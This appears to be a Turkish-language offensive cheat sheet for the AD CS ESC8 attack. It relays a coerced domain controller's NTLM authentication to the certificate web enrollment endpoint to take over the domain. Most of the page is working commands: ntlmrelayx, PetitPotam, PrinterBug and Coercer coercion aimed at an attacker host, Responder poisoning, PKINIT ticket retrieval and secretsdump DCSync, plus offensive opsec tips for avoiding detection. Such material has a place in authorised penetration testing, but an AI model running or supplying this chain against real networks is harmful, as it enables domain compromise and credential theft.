ADCS — ESC8 (NTLM Relay to Web Enrollment)
ADCS · ESC8 domain takeover
ADCS · ESC8 domain takeover
ESC8, AD CS Web Enrollment arayüzünün (http://ca/certsrv/) NTLM kimlik doğrulamasını kabul etmesi ve HTTP’nin imzasız olmasından yararlanır. Bir makine hesabını (çoğu zaman DC) CA web ucuna kimlik doğrulamaya zorlayıp bu kimliği relay ederek kurban adına sertifika alırsınız. DC sertifikası → PKINIT → DCSync = domain ele geçirme.
Ön koşullar
Section titled “Ön koşullar”- CA'da Web Enrollment (HTTP) açık- EPA / channel binding yok veya zayıf (NTLM relay mümkün)- Coercion veya LLMNR ile makine hesabı kimliği elde edilebilir- Relay hedefi: http://<CA>/certsrv/ (HTTPS + EPA varsa zorlaşır)Tespit
Section titled “Tespit”certipy find -u user@domain.local -p pass -dc-ip 10.10.10.5 -vulnerablecurl -v http://ca.domain.local/certsrv/ # NTLM/401nxc ldap DC -u user -p pass -M adcsKomut üreteci
Section titled “Komut üreteci”ADCS ESC8 · ntlmrelayx
embedded toolGenerated command
impacket-ntlmrelayx -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainControllerADCS ESC8 · ntlmrelayx
Section titled “ADCS ESC8 · ntlmrelayx”Saldırı akışı
Section titled “Saldırı akışı”-
Relay dinleyicisini başlat
Terminal window ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp \-smb2support --adcs --template DomainController -
DC’yi coerce et (Responder SMB/HTTP kapalı olmalı)
Terminal window petitpotam.py -d domain.local -u user -p pass ATTACKER_IP DC_IPTerminal window printerbug.py 'domain/user:pass'@DC_IP ATTACKER_IPTerminal window coercer coerce -u user -p pass -d domain.local -t DC_IP -l ATTACKER_IP -
Sertifikayı yakala — ntlmrelayx base64 / .pfx ( DC$ için).
-
PKINIT ile TGT + DCSync
Terminal window certipy auth -pfx dc.pfx -dc-ip 10.10.10.5Terminal window gettgtpkinit.py -cert-pfx dc.pfx -pfx-pass '' domain.local/DC\$ dc.ccacheTerminal window export KRB5CCNAME=dc.ccacheTerminal window secretsdump.py -k -no-pass DC.domain.local
certipy tek akış
Section titled “certipy tek akış”certipy relay -target http://ca.domain.local/certsrv/certfnsh.asp \ -template DomainControllerTemplate seçimi
Section titled “Template seçimi”DomainController → DC bilgisayar hesabı sertifikası (en değerlisi)Machine → makine hesabıUser → kullanıcı (coercion ile user gelirse)Coercion genelde makine hesabı (DC$) NTLM’i üretir; DomainController / Machine şablonu hedeflenir.
LLMNR / Relay alternatifi
Section titled “LLMNR / Relay alternatifi”ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support --adcs \ --template DomainControllerresponder -I eth0 -wdDC$ gelirse jackpot; rastgele makine/user gelirse o kimlikle cert alınır.
Başarısızlık durumları
Section titled “Başarısızlık durumları”HTTPS + EPA / channel binding → relay kırılırWeb Enrollment kapalı → ESC8 yok; ESC1 vb. deneYanlış template → enrollment deniedResponder port çakışması → coercion auth saldırgana gitmezDNS / CA adı yanlış → 404Zincir
Section titled “Zincir”ESC8 → DC$ sertifikası → PKINIT TGT → DCSync → krbtgt → Golden Ticket / tam domain kontrolüESC8 Machine cert → RBCD / lateral → daha yüksek hedefOpsec (ofansif)
Section titled “Opsec (ofansif)”□ 4624/4768 gürültüsü — kısa pencere□ PetitPotam event'leri DC'de□ PFX'i diskte bırakma; auth sonrası secretsdump□ Responder'ı test bitince kapatPFX kaydetme (ntlmrelayx)
Section titled “PFX kaydetme (ntlmrelayx)”echo '<BASE64>' | base64 -d > dc.pfxcertipy auth -pfx dc.pfx -dc-ip 10.10.10.5 -outfile dcopenssl pkcs12 -info -in dc.pfx -passin pass: